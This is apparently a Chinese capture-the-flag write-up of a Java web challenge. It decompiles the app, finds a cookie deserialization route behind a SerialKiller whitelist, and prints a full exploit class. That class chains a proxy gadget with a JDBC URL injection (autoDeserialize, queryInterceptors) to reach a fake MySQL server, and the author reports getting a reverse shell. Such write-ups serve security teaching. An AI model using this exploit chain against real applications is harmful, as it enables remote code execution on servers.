反编译jar包后观察路由:
@PostMapping({"/index"})
public String index(@RequestParam("username") String username, @RequestParam("password") String password, HttpServletResponse response) {
UserInfo userinfo = new UserInfo();
userinfo.setUsername(username);
userinfo.setPassword(password);
Cookie cookie = new Cookie("data", this.serialize(userinfo));
cookie.setMaxAge(2592000);
response.addCookie(cookie);
return "redirect:/hello";
}
@GetMapping({"/hello"})
public String hello(@CookieValue(value = "data",required = false) String cookieData, Model model) {
if (cookieData != null && !cookieData.equals("")) {
Info info = (Info)this.deserialize(cookieData);
if (info != null) {
model.addAttribute("info", info.getAllInfo());
}
return "hello";
} else {
return "redirect:/index";
}
}
通过/index
路由注册一个cookie,再进入/hello
路由中通过deserialize
函数对cookie进行反序列化,相关函数如下:
private Object deserialize(String base64data) {
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));
try {
ObjectInputStream ois = new SerialKiller(bais, "serialkiller.conf");
Object obj = ois.readObject();
ois.close();
return obj;
} catch (Exception var5) {
Exception e = var5;
e.printStackTrace();
return null;
}
}
来看导入了哪些第三方依赖:
commons-collections
、jackson
、log4j
、spring-boot
都有,但是又有白名单输入流限制:
<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
<refresh>6000</refresh>
<mode>
<!-- set to 'false' for blocking mode -->
<profiling>false</profiling>
</mode>
<blacklist>
</blacklist>
<whitelist>
<regexp>gdufs\..*</regexp>
<regexp>java\.lang\..*</regexp>
</whitelist>
</config>
只能使用这两个包的内容。查看gdufs中有一个重写的InfoInvocationHandler
:
package gdufs.challenge.web.invocation;
import gdufs.challenge.web.model.Info;
import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class InfoInvocationHandler implements InvocationHandler, Serializable {
private Info info;
public InfoInvocationHandler(Info info) {
this.info = info;
}
public Object invoke(Object proxy, Method method, Object[] args) {
try {
return method.getName().equals("getAllInfo") && !this.info.checkAllInfo() ? null : method.invoke(this.info, args);
} catch (Exception var5) {
Exception e = var5;
e.printStackTrace();
return null;
}
}
}
还有一个DatabaseInfo
:
public class DatabaseInfo implements Serializable, Info {
private String host;
private String port;
private String username;
private String password;
private Connection connection;
public DatabaseInfo() {
}
public void setHost(String host) {
this.host = host;
}
public void setPort(String port) {
this.port = port;
}
public void setUsername(String username) {
this.username = username;
}
public void setPassword(String password) {
this.password = password;
}
public String getHost() {
return this.host;
}
public String getPort() {
return this.port;
}
public String getUsername() {
return this.username;
}
public String getPassword() {
return this.password;
}
public Connection getConnection() {
if (this.connection == null) {
this.connect();
}
return this.connection;
}
private void connect() {
String url = "jdbc:mysql://" + this.host + ":" + this.port + "/jdbc?user=" + this.username + "&password=" + this.password + "&connectTimeout=3000&socketTimeout=6000";
try {
this.connection = DriverManager.getConnection(url);
} catch (Exception var3) {
Exception e = var3;
e.printStackTrace();
}
}
public Boolean checkAllInfo() {
if (this.host != null && this.port != null && this.username != null && this.password != null) {
if (this.connection == null) {
this.connect();
}
return true;
} else {
return false;
}
}
public String getAllInfo() {
return "Here is the configuration of database, host is " + this.host + ", port is " + this.port + ", username is " + this.username + ", password is " + this.password + ".";
}
}
很明显打的是JDBC反序列化,构造EXP:
package gdufs.challenge.web;
import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.util.Base64;
public class exp {
public static void main(String[] args) throws IOException {
//设置好DatabaseInfo类的相关属性以实现jdbc反序列化
DatabaseInfo databaseInfo = new DatabaseInfo();
databaseInfo.setHost("XX.XX.XX.XX");
databaseInfo.setPort("3309");
databaseInfo.setUsername("uddbebf");
databaseInfo.setPassword("uddbebf&allowLoadLocalInfile=true&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");//构造JDBC字符串拼接,开启autoDeserialize,queryInterceptors触发反序列化。
//将DataBaseInfo实例,封装进Proxy类 使用动态代理
ClassLoader classLoader = databaseInfo.getClass().getClassLoader();
Class[] interfaces = databaseInfo.getClass().getInterfaces();
//使用InfoInvocationHandler的invoke方法触发databaseInfo的connect方法
InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseInfo);
Info proxy = (Info) Proxy.newProxyInstance(classLoader,interfaces,infoInvocationHandler);
//输出反序列化字符串
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(proxy);
oos.flush();
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
}
}
这里使用工具web-chains启动fake-mysql服务:
随便选择一条存在漏洞的第三方库的链子即可:
将生成的username填入上面的EXP中,生成base64字符串拿去/hello
路由下触发反序列化:
成功触发反弹shell,拿到flag:
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至1004454362@qq.com